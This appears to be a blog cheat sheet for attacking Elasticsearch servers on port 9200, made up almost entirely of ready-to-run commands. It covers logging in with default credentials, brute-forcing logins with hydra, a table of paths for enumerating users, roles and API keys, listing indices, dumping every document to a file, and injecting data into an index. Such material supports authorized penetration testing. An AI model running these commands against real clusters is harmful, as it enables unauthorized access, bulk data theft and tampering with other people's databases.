#Service Name and Version info - if no info is displayed, requires Auth
curl 10.10.10.10:9200/
#Default Creds
curl -X GET http://admin:elasticadmin@10.10.10.10:9200/
curl -X GET http://elastic:changeme@10.10.10.10:9200/
#Bruteforce Creds
hydra -L usernames.txt -P passwords.txt <target-ip> -s 9200 http-get /
ALL PATHS
_cat | /_cluster | /_security |
---|---|---|
/_cat/segments | /_cluster/allocation/explain | /_security/user |
/_cat/shards | /_cluster/settings | /_security/privilege |
/_cat/repositories | /_cluster/health | /_security/role_mapping |
/_cat/recovery | /_cluster/state | /_security/role |
/_cat/plugins | /_cluster/stats | /_security/api_key |
/_cat/pending_tasks | /_cluster/pending_tasks | |
/_cat/nodes | /_nodes | |
/_cat/tasks | /_nodes/usage | |
/_cat/templates | /_nodes/hot_threads | |
/_cat/thread_pool | /_nodes/stats | |
/_cat/ml/trained_models | /_tasks | |
/_cat/transforms/_all | /_remote/info | |
/_cat/aliases | ||
/_cat/allocation | ||
/_cat/ml/anomaly_detectors | ||
/_cat/count | ||
/_cat/ml/data_frame/analytics | ||
/_cat/ml/datafeeds | ||
/_cat/fielddata | ||
/_cat/health | ||
/_cat/indices | ||
/_cat/master | ||
/_cat/nodeattrs | ||
/_cat/nodes |
#List all Indexes
curl 10.10.10.10:9200/_cat/indices?v
#Access an Index
curl 10.10.10.10:9200/<Index_name>
#Dump Everything
curl http://10.10.10.10:9200/_search?pretty=true > Elastic_Search.dump
#Add Data to an Index
curl -X POST '10.10.10.10:9200/Index_Name/Object_Name' -H 'Content-Type: application/json' -d'
{
"id" : "1",
"name" : "ab",
"lastname" : "aa",
"Comment" : "info"
}'
Comments
Post a Comment